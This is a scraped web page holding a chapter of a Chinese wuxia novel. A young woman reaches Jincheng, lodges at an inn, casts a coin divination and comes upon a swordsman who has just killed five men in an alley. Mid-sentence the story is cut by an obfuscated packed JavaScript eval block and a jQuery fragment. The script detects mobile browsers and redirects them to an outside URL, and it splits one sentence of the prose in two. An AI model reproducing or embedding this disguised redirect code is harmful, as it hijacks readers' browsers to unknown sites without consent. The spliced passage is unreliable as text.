默认冷灰
24号文字
方正启体

2. 金风玉露一相逢

作者:面包火锅本书字数:K更新时间:
    “金铃铛,银铃铛,不如阿巧家的糖霜霜!小娘子吃了描花黄,小郎君吃了中榜眼,阿婆吃了牙不掉,阿公吃了腰杆直——”


    “冰雪甘草汤,喝了赛过活神仙呐!冰雪甘草汤……”


    “插肉面插肉面哟!刘记祖传秘方,香遍十里的插肉面哟!”


    白宜之攥着车帘角探出半张脸,鼻尖先被一股混合着花椒香,蜜糖味,还有不知道什么香料的奇特气味勾得直抽抽。锦城主街的青石板被磨得发亮,卖糖画的老头儿正用铜勺在石板上浇出活灵活现的兔子图案,杂耍班子的猴子顶着铜锣窜上旗杆,行人络绎不绝的锦城主街,头顶上牌坊刻着的“锦城”二字在夕阳下镀成金红色。


    她目不转睛地盯着街道两旁不停叫卖的商贩,肚子咕噜了一声,问了正在替她驾车的车夫一句:“张大哥,这插肉面是怎么个吃法?难不成是用三尺长竹签把肉丁串成宝塔状,插在面碗里当旗杆?就像话本里‘小李飞刀插馒头’那样威风!”


    张伙计是个粗人,原是锦城外的一处村庄做粗活,顺带帮忙给城里的贵人们驾个马车跑个腿什么的。


    白宜之昨日从江州到了锦城地界,双手因为没日没夜的驾车,被缰绳勒的红肿不堪,她找了个茶棚想先好好休息一番。这茶棚人来人往,车马不断,热闹非凡,她拴马车的功夫,正巧看见张伙计胸前挂了个写着“驾车十载,可帮诸位驾车,一日十文,童叟无欺。”


    你说说,这不就巧了吗?


    白宜之走到张伙计对面,从钱袋子里取出一锭白银摊在手心里递给他,又指了指茶棚旁边的那辆不甚华贵但足够讲究的马车,“大哥,我聘你两日。”


    张伙计收起牌子,双手放在粗麻布的短衫上搓了又搓,眼神死死盯着白宜之手心的那枚银锭,却只是忙不迭点头,没有接过。


    “小姐,两日只需二十文。您这……太多了。”他乐呵呵地腆着脸讨好般地笑,蹩脚的官话里带着浓重的俚语乡音,白宜之差点儿没听懂。


    “我第一次来锦城,不知锦城何处好玩何处好看,也不知道风土人情如何,所以,这些钱权当是我聘大哥你当个向导啦。”


    临走离开茶棚时,她看见张伙计抱着那块木牌一同上了马车,不由问道:“张大哥,这木牌上的字儿是你写的吗?字儿还挺好看的呢。”


    张伙计挠了挠头,憨笑一声,“哈哈,这可不是小的写的,小的大字都识不得几个。是前些日,小的在茶棚边寻活计,有个路过的游侠看小的喊的实在辛苦,就收了一个铜板,替小的做了这样一块木牌。”


    白宜之听见游侠收了一个铜板后,不由愣了下,“嚯,我还当他是免费的呢!”


    于是乎,张伙计就充当车夫和向导,与白宜之一同来了锦城内。


    这一路上,白宜之问了锦城几十年间的风云趣事,连锦城各县县令和知府府上何时纳过新妻妾,又何时生了对龙凤胎都一清二楚了。


    “哎哟我的小姐,插肉面就是把炒好的碎肉酱汁浇在面条上拌着吃,实在是没有这般新奇!”张伙计甩了个响鞭,赶车速度却慢下来,他瞧着白宜之盯着面摊咽口水的模样,突然抬起一只手指向不远处那栋最金碧辉煌高大的建筑,立在砖瓦上的招牌明晃晃龙飞凤舞的写了四个大字,又听张伙计开口说,“小姐您看,那就是锦城最大的客栈——悦来客栈。”


    白宜之的目的地正是悦来客栈,她一路望着那招牌,等张伙计将马车停在雕梁画栋的客栈门口时才回过神。


    “吁——”千里驹在悦来客栈门口停下,她看着牌匾上的“悦来客栈”四个字,迅速跳下马车,结清了张伙计的银钱又与他说了几句家常,便将马车的雕花小门关上锁好,让店小二将马车好生看管。


    白宜之踏入客栈,腰间金玉腰链的坠子撞上黄玉瑞兽玉佩,发出一声清脆的碰撞声。


    客栈内热闹非凡,迎面是丈二高的实木柜台,上头摆了个半人高的铜铸貔貅,嘴里叼着一块“概不赊账”的牌子。


    大堂中央有四根雕着白虎的柱子,只听西北角传来骰子声,六个江湖弟子围坐一桌,用一堆金银当筹码压大小,白宜之踏入客栈的一瞬间,其中一人便陡然拍桌:“奶奶的!又输了三串玛瑙!”


    东侧有个兵器架,两个镖师似乎丢了武器,正对着一张“兵器租赁价目栏”吵架:


    “什么?租柄普通钢刀还要老子五两?你们这是抢钱!”


    “客官,这些可并非普通钢刀,乃是受望虚谷淬炼过的宝刀啊!”


    “我呸!这他妈都多少年了,你们还拿这一套来唬老子!老子不租了!”


    楼梯口传来小娃娃“咯咯咯”的笑声,却是个虎头虎脑的小娃娃趴在栏杆上,正把手里的拨浪鼓往楼下扔。白宜之眼疾手快接住鼓,双眼定在鼓面时,忽觉鼓面纹路竟与《江湖百事录》里记载的万阐宗符印相似,可她还没看仔细,就见一个魁梧大汉横眉一扫,迅速夺过她手上的拨浪鼓,大掌落下一锭雪花银,抛向柜台,“退房。”


    雄厚的声音从白宜之身旁穿过,只留下一阵若有若无的硝烟与血腥味。


    白宜之的视线顺着大汉走出客栈大门而去,却在门口柱子下瞥见一条随风扬起的蓝色发带,似乎随着大汉一同消失了,等她再仔细看去时,店外就只剩下叫卖的摊贩和行人了。


    “这位客官,”小二突然出现在白宜之眼前,咧开个大大的笑脸,眼神早已上下扫视了一番白宜之。


    只见白宜之穿着苏锦绣制的桃夭色外衫,里面道衫裙乃是蜀地女子千金难求的白氏特供鹅黄云纱裙,头上簪的是价值不菲的东珠玉簪,腰上缠着金玉腰链。


    如此通身气派,店小二只一眼,便深知她是位钱多的贵客,于是态度愈发恭顺谄媚,笑容也愈发灿烂可掬:“打尖儿还是住店?”


    白宜之眼神发亮,心想这不是《剑侠风流传》里的经典台词吗?下一句该是:要一间上房,再来二斤牛肉一壶酒!


    自江湖话本中才会出现的问句在白宜之耳边炸开,加上客栈内嘈杂的各式说话声,让她愈发兴奋,因为此刻,她已算是正式踏入江湖。


    她从锦绣袋子里摸出一锭五十两的雪花银,轻咳一声,勉强盖住了自己略显兴奋高兴的语调,“我……本姑娘要一间上房。另外,你们这都有哪些好酒好菜?”


    店小二收钱入账,喜笑颜开地走在白宜之前头,引她上了二楼。


    “客官不是蜀人吧?小的听客官口音,是江南人士?”


    店小二长年累月地见过的人不知有多少,白宜之那从未掩饰过的身影口音,自然逃不过他的眼睛。


    白宜之双眼瞪得溜圆,活像偷喝了雪花酒的小兽,指尖紧紧攥住袖口,她前几日刚在《江湖百怪谈》里读过“客栈店小二皆是深藏不露的高手”,于是瞧着谄媚的店小二,此刻也琢磨着眼前这人会不会突然掏出一把举世罕见的宝剑怒斩恶徒。


    店小二见状,疑惑这姑娘莫不是一夜暴富的暴发户,没来过此等豪华之地,见白宜之迟迟不回答,便又重复问了一句。


    白宜之这才收敛几分,勉强低声嗯了声,那店小二就又道:“本店特色燠鸭、兔肉串、旋切莴苣、辣脚子、软羊面、荔枝膏、香饮子,这些在江南都是吃不到的,是只有蜀中才有的特色菜肴,客官,可要都尝一尝?”


    木质楼梯踩上去发出“咯吱咯吱”的响声,扶手上刻满了历代住客的“到此一游”,其中有个名字令白宜之停下脚步,仔细端详了片刻。


    左侧拐角处的扶手上,有个用匕首刻下的“虞苍到此一住”。虞苍,正是钏县说书的老先生说过的,是那个因为偷盗剑谱叛逃出沧浪阁的首席弟子。


    身旁店小二也刚巧报完菜名,白宜之听着这些菜名也分不出这些具体到底是些什么菜,抬脚继续往上走时,说道:“那就都来一份吧。”


    “得嘞客官!稍后给您送至房内。”


    店小二引着白宜之到了三楼的一处卧房,门匾牌号上写着“卧楼听雨”。


    推开雕花木门,迎面便是檀木桌案,上面的青瓷茶盏似是景德特产,左侧是落地织锦丝帐,梳妆台上放着波斯运来的琉璃镜,照的人一清二楚。


    白宜之环视一圈,对这个住宿环境稍稍有一些满意。虽说比不上她的千金阁,但勉强过得去,她解下锦绣袋子,取出刻着后天八卦图的黄杨木卦盘、太极石和通宝铜钱,又从用布袋缠好的锦盒里取出三炷柏香。


    她抬头望了望窗外,此时夕阳西下,最后一丝余晖也落入砖瓦之内,天边泛起了青黑。


    已到戌时。


    白宜之将黄杨木卦盘和太极石摆放至干净到桌


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15632346|172577||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    面,又焚柏香三炷。


    随身携带的水壶里有白宜之自雨夜接的无根水,她用无根水净手三息后,将掌心相对,搓纸微热。思极三遍心中所想之事后,三枚铜钱叠放在她的左掌掌心。


    青铜被掌心捂的发热,白宜之举双掌至眉心,上下摇动三次,她故意松开一枚任其滚向香案,这是《千机谱》里的“问路钱”卦法,需以钱币敬天地。


    待铜钱停在香灰前,恰好将烟气引成“青龙摆尾”吉兆,她不由满意点头:“天地允行,此卦可成。”


    第一枚铜钱嵌在亥位刻痕,第二枚沿着黄杨木卦盘上的裂缝滚落在东南角位,第三枚直立悬浮,钱孔中正对着窗户,仿佛能透出窗外的月影。


    预示着:贵人将在亥时一刻,东南青石巷,出现。


    白宜之心满意足,收好这些小物什后,店小二敲了三下房门,将她点的一大桌子菜肴送到屋内。


    她看着一桌子红彤彤绿油油的色香味俱全的各式菜肴,本就有些饿的肚皮又开始打起鼓来。


    因着确定了贵人今夜亥时现身,她心情不免大好,想着一定要多吃两碗大米饭,可刚吃第一口白宜之第一口兔肉串下肚,瞳孔骤缩——这辣度!


    她辣得原地蹦跶眼泪鼻涕直流,抓起桌上的荔枝膏往嘴里猛塞,又拿过桌上装着香饮子的瓷碗,仰头一饮而尽,这才略微缓解了一分辣意。


    蜀地喜辛辣,她怎么就忘了让小二少放辣子!


    辣劲儿还没完全消化,白宜之便马不停蹄的踩着亥时的更声出了门,路过柜台时,又给了小二一枚雪花银,嗓子里还残留着方才的辣椒味,让她说话都有些打结,“小二,以后本姑娘的吃食,都少放辣椒。”


    说完,便顺着卦象的指引朝东南方的青石巷去。


    白宜之手里拿了个龟壳,乃是母亲所赠之物,也许是心理作用,也许是母亲的暗中指引,这龟壳总能在关键时候为她指路。


    越靠近东南的青石巷,白宜之手中的龟壳便会时不时发出轻微嗡鸣声。


    她心如雷鼓,连握着龟壳的手都忍不住颤抖,直到听见一阵剑响惨叫之声,白宜之沾了些微泥渍的绣鞋停在青石巷巷口,手中龟壳停止嗡鸣,正对巷子里唯一站着的那个男人。


    男人脚边,躺了五具新鲜又血淋淋的尸体,还有半张溅满血渍的炊饼。


    巷口昏黄的灯笼被蜀地夜间的凉风吹的摇摆不定,天边的玄月闪着皎洁的光照在青石巷里,白宜之嘴唇微张,鼻尖嗅到一股浓烈又刺鼻的铁锈腥气,风一吹,随着倒在地上血泊中的尸体衣摆四处飘扬。


    白宜之胃里翻江倒海,指甲猛掐虎口,咽下了恶心,强作镇定摸出芝麻糖——结果糖块沾了手汗,“吧唧”一下掉在地上。


    她低头看了一眼芝麻糖的“尸体”,又不由自主地看向巷子里的尸体们,双眼瞪大,纤长的睫毛如蝴蝶翅膀般止不住轻颤,指尖因为用力抓着龟壳而泛白,连腿脚都因为害怕而僵在原地不敢挪动半分。


    男人剑上仍在滴血,似乎还冒着热气儿,就像白宜之下午瞧见的新出炉的包子热气。


    她哆哆嗦嗦的垂下一只手,抓起锦绣袋子里的三枚铜钱就开始草草的算卦,结果一个没拿稳,铜钱“咣榔”一声,滚落在地上,倒在了血泊里,正如男人脚下的尸体一般。


    而这男人不是旁人,正是追着范鸠到此的李不言,结果范鸠没见着,反倒是多了五个剑下亡魂。


    李不言杀完最后一个人,收剑时还踢了踢尸体,“范鸠的喽啰怎么比蚊子还烦?”


    他盯着地上的炊饼,想起幼时逃难的时候连人家马厩里的米糠都喝过,这半张炊饼只是沾了点血而已,于是弯腰拾起地上被血迹糊住的炊饼,甚至用袖子擦了擦后还放回了怀中,嘴里嘟囔一句:“不能浪费粮食,这还能吃呢……”


    怎料剑客刚嘟囔完,就感觉到背后有一股刺挠的视线直奔他而来。


    不是杀气,也不是怨气,反倒是——


    还没想好用什么形容这股视线,忽然听见一阵清脆的铜钱落地声,握着铁剑的手一顿,指尖轻叩了一声剑身,发出一声类似的清脆响声。


    李不言在这阵响声中微微侧头,只露出半张侧脸,嘴角紧绷,剑眉冷竖,冷冽的月光洒在衣摆沾血的他身上,就像是给阎罗镀了一层银光。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)